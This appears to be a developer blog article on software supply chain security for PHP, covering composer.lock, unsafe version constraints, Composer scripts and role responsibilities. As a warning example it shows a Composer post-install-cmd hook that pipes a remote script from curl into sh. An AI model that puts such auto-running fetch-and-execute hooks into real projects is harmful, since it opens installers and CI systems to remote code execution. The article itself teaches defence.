Security has always been an evergreen topic. Protecting your environment, reputation, and company assets from financial and reputational damage is critical. For today’s developers, it is no longer enough to know language syntax, design principles, or how to write clean and maintainable code. Even application-level security knowledge — SQL injection, XSS, CSRF, authentication, and authorization — is no longer sufficient on its own. The modern threat landscape has shifted.
Continuous learning is part of our profession, especially in security. New attack vectors and techniques emerge constantly, and keeping up with them is no longer optional. In large enterprise organizations, dedicated security teams exist, but that does not remove responsibility from individual engineers.
In this article, I would like to highlight software supply chain security from a PHP developer’s perspective.
What Is the Software Supply Chain in PHP?
In a typical PHP application, the software supply chain includes:
- Your application source code
- Composer and all installed packages
- Package repositories (public or private Composer repositories)
- Build tools and scripts
- CI/CD pipelines
- Runtime environment (PHP version, extensions, Docker images)
- External services (databases, APIs, cloud providers)
This immediately raises important questions:
Where is the boundary of the system?
Who is responsible for securing it?
Is it the developer, the DevOps engineer, the infrastructure team, or the security department?
The answer is: there is no single boundary and no single owner.
Modern systems are layered, and each layer has its own security boundary. Supply chain security deliberately extends beyond your codebase. The system boundary ends where you lose visibility or control — but responsibility does not end there.
Supply chain security is shared, but not equally shared. Different roles own different layers.
Developer Responsibility (Application Layer)
Developers are primarily responsible for what gets written, imported, and executed.
This includes:
- Choosing dependencies
- Reviewing Composer packages
- Maintaining composer.lock
- Avoiding dangerous Composer scripts
- Updating vulnerable libraries
- Writing secure-by-default code
Developers cannot delegate responsibility by saying “I didn’t know the dependency was insecure” or “the security team will catch it later.” Developers are the first line of defense in the software supply chain.
Locking Dependencies Correctly
The composer.lock file ensures that exactly the same dependency versions are installed everywhere. See the following command:
composer install --no-dev --prefer-dist --no-interaction
This command installs PHP dependencies exactly as defined in composer.lock, with settings optimized for non-interactive, production-like environments. The first option means it skips the development dependencies. The deployment artifact will smaller and it reduces the attack surface as well. Prefer dist means download package archives instead of cloning git repositories. The installation will be smaller and faster and no git required. No interaction ensures deterministic behavior and it is required for CI/CD pipelines. Never run composer update in production.
Avoiding Unsafe Dependency Versions
Floating or development versions dramatically increase risk because floating versions make malicious dependency injection and accidental breaking changes far more likely.
Unsafe Example:
{
"require": {
"monolog/monolog": "*",
"vendor/package": "dev-main"
}
}
Reviewing and Restricting Composer Scripts
Risky example:
{
"scripts": {
"post-install-cmd": [
"curl https://example.com/install.sh | sh"
]
}
}
In CI pipelines, scripts should be disabled by default:
composer install --no-scripts
Enable scripts only when you fully understand and trust what they do.
DevOps / Platform Responsibility (Pipeline Layer)
DevOps and platform engineers own how code becomes a running system:
- CI/CD pipeline security
- Secrets management
- Artifact integrity
- Build isolation
- Environment isolation
- Deployment permissions
Infrastructure Responsibility (Runtime Layer)
Infrastructure engineers are responsible for where and how the system runs:
- OS hardening
- Container runtime security
- Network segmentation
- Identity and Access Management /Role Based Access Control
- Patch management
- Base images and VM templates
Security Team Responsibility (Governance Layer)
Security teams provide visibility, guidance, and assurance:
- Security standards and policies
- Risk assessment
- Tooling guidance
- Incident response
- Compliance and audits
- Threat modelling
What Are Supply Chain Attacks?
A supply chain attack occurs when an attacker compromises a trusted component that your application depends on, instead of attacking your code directly.
Supply chain attacks often succeed precisely because responsibility is fragmented. There is no single border and no single owner.
Common examples:
- Malicious dependency injection
- Typosquatting attacks
- Dependency confusion attacks
- Malicious Composer scripts
- Compromised build pipelines
- Build artifact tampering
- Outdated or abandoned components
Final Conclusion
Modern PHP applications are assembled, not written from scratch. Every Composer dependency, build script, CI job, container image and external service becomes part of the system's attack surface.
Supply chain security is not about eliminating all risk, it is about making risk visible, controllable, and survivable.
PHP developers who understand and apply these principles are not just writing secure code, they are building software that can be trusted in an increasingly adversarial and risk exposed ecosystem.
Top comments (0)